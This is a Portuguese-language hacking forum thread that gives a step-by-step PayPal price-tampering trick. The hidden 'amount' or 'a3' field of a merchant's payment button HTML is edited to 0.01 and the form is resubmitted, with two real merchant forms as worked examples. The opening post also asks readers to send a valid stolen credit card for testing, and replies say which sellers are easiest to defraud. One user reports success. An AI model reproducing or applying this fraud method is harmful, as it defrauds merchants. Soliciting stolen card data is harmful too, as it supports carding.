Bom galera, sou novo aki, mas eu descobri um exploit fuçando no código-fonte do paypal (mas tipow, com certeza outra pessoa jah descobriu, eu não sei se voces tem ele aki, pois eu vi em vários fórums as pessoas dizendo que fizeram esse bug, mas nunca vi ninguém explicando como faz).
Enfim, eh possível alterar o valor do produto( ou assinatura) que você vai pagar no paypal. Como no ex abaixo:
<form action="https://www.paypal.com/cgi-bin/webscr"
method="post">
<input type="hidden" name="cmd" value="_xclick"><input
type="hidden" name="business"
value="sales@sohosoftware.com"><input
type="hidden" name="undefined_quantity" value="1"><input
type="hidden" name="item_name"
value="StatModeler 2003 20 Day Single User Trial"><input
type="hidden" name="item_number" value="1894"><input
type="hidden" name="amount" value="19.97"><input
type="hidden" name="return"
value="http://www.aasdt.com/statistics/paypal.html"><input
type="hidden" name="cancel_return"
value="http://www.aasdt.com/statistics/statmod2.html"><input
type="hidden" name="cn" value="Questions"><input
type="hidden" name="currency_code" value="USD"><input
type="hidden" name="lc" value="US"><p><input type="image"
name="submit"
src="https://www.paypal.com/en_US/i/btn/x-click-butcc.gif"
alt="Instant Download - 20 Day StatModeler Trial"
align="bottom" border="0" width="73" height="44"><font
size="2" face="Verdana"> <strong>$19.97</strong> - Paypal
Instant Download of StatModeler 2003, 20-Day Trial</font></p>
</form>
Observe a linha
type="hidden" name="amount" value="19.97"><input
copie o código fonte para o bloco de notas, e altere a seguinte linha para
type="hidden" name="amount" value="0.01"><input
Salve o texto como arquivo html. E vouia'la, ai está seu exploit.
Ps:A maioria dos sites que utilizam paypal podem ser exploitados, e os que não podem , e porque codificam o código fonte, mas mesmo assim estou trabalhando em um exploit que decodifique os dados
Ps2: Se alguem achou meu tutorial útil, poderia me enviar um cc valido por pm, pois eu nao consegui achar nenhum, e nao consegui testar meu exploit( se eh que ninguem postou isso aki antes) , pois para fazer transações via paypal, eh preciso um cc válido.
Obrigado
Uia vlw..
vo testar x]
mas isso é como eu ponho no bloco de notas e salvo como .html e abro na hora da transação?
flw
Quote from: "Security"Uia vlw..
vo testar x]
mas isso é como eu ponho no bloco de notas e salvo como .html e abro na hora da transação?
flw
Eu eskeci de pôr, você tem que ver o código fonte da página que tem akele ícone do paypal, ou algo relacionado ao paypal, não na pagina do paypal em si. Aki vai um ex:
Na página
http://shop.freetosell.com/160228347/La embaixo tem um link pra voce comprar pelo paypl,que está na propria pagina principal, veja o codigo fonte, que aparecerá assim:
form action="https://www.paypal.com/cgi-bin/webscr" method="post">
<div align="center">
<input type="hidden" name="cmd" value="_xclick-subscriptions">
<input type="hidden" name="business" value="tomhua@bigpond.com">
<input type="hidden" name="item_name" value="FreeToSell eBooks">
<input type="hidden" name="item_number" value="160228347">
<input type="hidden" name="no_note" value="1">
<input type="hidden" name="currency_code" value="USD">
<input type="image" src="http://shop.freetosell.com/templates/FTS-Pro_Header2a.gif" border="0" name="submit" alt="Make payments with PayPal - it's fast, free and secure!">
<input type="hidden" name="a3" value="97.00">
<input type="hidden" name="p3" value="1">
<input type="hidden" name="t3" value="Y">
<input type="hidden" name="src" value="1">
<input type="hidden" name="notify_url" value="http://shop.freetosell.com/notify/paypal.php">
<input type="hidden" name="return" value="http://www.freetosell.com/paypalaccepted.html">E observe esta linha e edite
<input type="hidden" name="a3" value="97.00">OBS: Nem sempre aparece name="ammount" , mas eh so deduzir que 97.00 eh o valor, então eh soh editar.
Ai voce edita no bloco de notas o codigo fonte, salva como algumacoisa.html e abre o arquivo algumacoisa.html, e clica no link do paypal ou "click here to order". E vouia'la!!
Espero ter ajudade
Muito interessante, maso pessoal do departamento financeiro deve checar os pagamentos ,, e se vc tem que confirmar o pagamento não serve.. =/
Brother olha teu email.
Abraços
Quote from: "Emilly Rose"Muito interessante, maso pessoal do departamento financeiro deve checar os pagamentos ,, e se vc tem que confirmar o pagamento não serve.. =/
Exato, por isso tem q ser akeles lances "instant delivery" ou "instant download"
Quote from: "c4x5"Brother olha teu email.
Abraços
Vlw kra!
chromage ,
obrigado pela explicação e funciona mesmo testei num host mas em 3 dias bloquearão ;P
merecia um ponto positivo XD
flwS